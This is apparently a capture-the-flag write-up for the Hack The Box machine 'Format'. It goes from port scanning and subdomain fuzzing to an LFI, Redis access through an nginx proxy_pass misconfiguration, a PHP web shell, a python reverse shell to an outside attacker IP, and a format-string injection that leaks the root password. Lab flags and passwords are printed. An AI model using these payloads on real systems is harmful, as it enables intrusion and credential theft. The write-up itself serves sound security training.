Scan

> TARGET=10.129.223.178 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0
3000/tcp open  http    syn-ack ttl 63 nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://microblog.htb/" -H "Host: FUZZ.microblog.htb" --hl 107

000000111:   200        83 L     306 W      3973 Ch     "app"
000001619:   200        42 L     434 W      3731 Ch     "sunny"

Web Enum

  • At app.microblo.htb, you can register a user and create your own site.
  • We create a site called id and browse to id.microblog.htb
  • There you can change the header, txt or upload an image
  • Header and txt are vulnerable to lfi
POST /edit/index.php HTTP/1.1

id=../../../../../etc/passwd&header=
  • Use this method to read /etc/nginx/sites-available/default, note the following line, /static/ is vulnerable, it allows unix socket access.
location ~ /static/(.*)/(.*) { resolver 127.0.0.1; proxy_pass http://$1.microbucket.htb/$2; }
  • Read the source file microblog/app/dashboard/index.php, we can access redis via unix socket and set the pro key to true to upgrade user
function isPro() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $pro = $redis->HGET($_SESSION['username'], "pro");
        return strval($pro);
    }
    return "false";
}
  • register a user and upgrade it
> curl http://app.microblog.htb/register/index.php -d 'first-name=test&last-name=test&username=test&password=test'
> curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:test%20pro%20true%20a/b

Foothold

  • Login as the newly upgraded user, create a new site, e.g id.microblog.htb
  • Find that the text update field (vulnerable to lfi) can be used to upload a reverse shell
  • Use the text update field to upload a reverse shell at ../uploads/s.php
POST /edit/index.php HTTP/1.1
Host: id.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://id.microblog.htb
Connection: close
Referer: http://id.microblog.htb/edit/?message=Section%20added!&status=success
Cookie: username=20k4jfm8olu8sefft3gekm9t0s
Upgrade-Insecure-Requests: 1

id=../uploads/s.php&txt=<html><body><?php+if(isset($_REQUEST['cmd'])){echo+"<pre>";$cmd=($_REQUEST['cmd']);system($cmd);echo+"</pre>";die;}+?></pre></body></html>
  • Use the http backdoor to trigger a reverse shell
http://id.microblog.htb/uploads/s.php?cmd=python3%20-c%20%27import%20pty%3Bimport%20socket%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.16.59%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bpty.spawn(%22%2Fbin%2Fbash%22)%27

User: cooper

  • Find that there is a redis server storing the user cooper’s password. Note, you need to use the right method to get the key, it’s hashed. So, need to use hgetall
  • https://www.geekbits.io/redis-hset/
www-data@format:/tmp$ redis-cli -s /var/run/redis/redis.sock keys "*"
redis-cli -s /var/run/redis/redis.sock keys "*"
1) "PHPREDIS_SESSION:20k4jfm8olu8sefft3gekm9t0s"
2) "PHPREDIS_SESSION:fp5629m5s9lptejngs681b4our"
3) "test"
4) "cooper.dooper"
5) "test:sites"
6) "cooper.dooper:sites"

www-data@format:/home/cooper$ redis-cli -s /var/run/redis/redis.sock hgetall "cooper.dooper"
<s /var/run/redis/redis.sock hgetall "cooper.dooper"
 1) "username"
 2) "cooper.dooper"
 3) "password"
 4) "zooperdoopercooper"
 5) "first-name"
 6) "Cooper"
 7) "last-name"
 8) "Dooper"
 9) "pro"
10) "false"
  • login as cooper via ssh to get the user flag
cooper@format:~$ cat user.txt 
d93c61056864792019406f1d4d087a26

PE

  • Check sudo rights
cooper@format:~$ sudo -l
[sudo] password for cooper: 
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license
  • Note the background process
2023/05/15 08:03:01 CMD: UID=0    PID=24449  | /usr/bin/cp /root/reset/keys /root/license/keys 
2023/05/15 08:03:01 CMD: UID=0    PID=24450  | /usr/bin/cp /root/reset/secret /root/license/secret
  • Read the python script at /usr/bin/license
  • Note that username and firstlast are read from redis (we can control), and .format is used to pass a value to an arguments called license. We can craft username with a python format syntax so that username becomes the first argument that matches the name license.
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
  • The root’s password is stored in the License class, this can be expoded via license.__class__.__init__.__globals__
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock hset test first-name "test"
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock hset test last-name "test"
(integer) 0
(integer) 0
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock hset test username "{license.__class__.__init__.__globals__}"
(integer) 0
cooper@format:~$ sudo /usr/bin/license -p test

Plaintext license key:
------------------------------------------------------
microblog{...'__warningregistry__': {'version': 0}, 'secret': 'unCR4ckaBL3Pa$$w0rd', ... 'firstlast': 'testtest'}S7>a4Exw8$?91x7ZF/\|/=){=2~M."2RDJv90T`6testtest
  • login as root to get the root flag
root@format:/home/cooper# cat /root/root.txt 
8ec9306016d7b4d655c5aa2f8a056632

Support meowmeow

If you find this article useful, please support: https://www.buymeacoffee.com/meowmeowattack